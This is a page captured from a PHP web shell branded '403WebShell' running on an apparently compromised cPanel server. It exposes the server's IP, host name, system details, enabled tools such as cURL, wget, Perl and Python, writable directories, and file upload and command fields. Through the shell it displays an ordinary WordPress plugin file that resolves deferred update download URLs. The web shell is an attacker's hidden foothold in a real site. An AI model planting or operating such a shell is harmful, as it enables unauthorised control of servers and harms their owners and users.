$plugin = <<403WebShell
403Webshell
Server IP : 193.224.177.188  /  Your IP : 216.73.217.123
Web Server : Apache
System : Linux cpanel.krtk.mta.hu 3.10.0-962.3.2.lve1.5.89.el7.x86_64 #1 SMP Thu Jul 9 15:55:31 UTC 2026 x86_64
User : krtkhu ( 1061)
PHP Version : 8.4.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/includes/Update/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/includes/Update/DeferredDownload.php
<?php
/**
 * Deferred download handler.
 *
 * @package HelloPack\Client
 */

declare( strict_types=1 );

namespace HelloPack\Client\Update;

use HelloPack\Client\Api\Client;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Resolves deferred download URLs to real API download URLs at upgrade time.
 */
class DeferredDownload {

	/**
	 * API client.
	 *
	 * @var Client
	 */
	private Client $api;

	/**
	 * Constructor.
	 *
	 * @param Client $api API client.
	 */
	public function __construct( Client $api ) {
		$this->api = $api;
	}

	/**
	 * Resolve deferred download URL in upgrader package options.
	 *
	 * Hooked on `upgrader_package_options` at PHP_INT_MAX.
	 *
	 * @param array<string, mixed> $options Upgrader options.
	 * @return array<string, mixed>
	 */
	public function resolve( array $options ): array {
		$package = $options['package'] ?? '';

		if ( ! is_string( $package ) || '' === $package ) {
			return $options;
		}

		if ( false === strpos( $package, 'deferred_downloads' ) || false === strpos( $package, 'hp_item_id' ) ) {
			return $options;
		}

		$query = wp_parse_url( $package, PHP_URL_QUERY );
		if ( ! is_string( $query ) ) {
			return $options;
		}

		$vars = array();
		parse_str( $query, $vars );

		$item_id = (int) ( $vars['hp_item_id'] ?? 0 );
		if ( $item_id <= 0 ) {
			return $options;
		}

		$download_url = $this->api->download( $item_id );
		if ( $download_url ) {
			$options['package'] = $download_url;
		}

		return $options;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit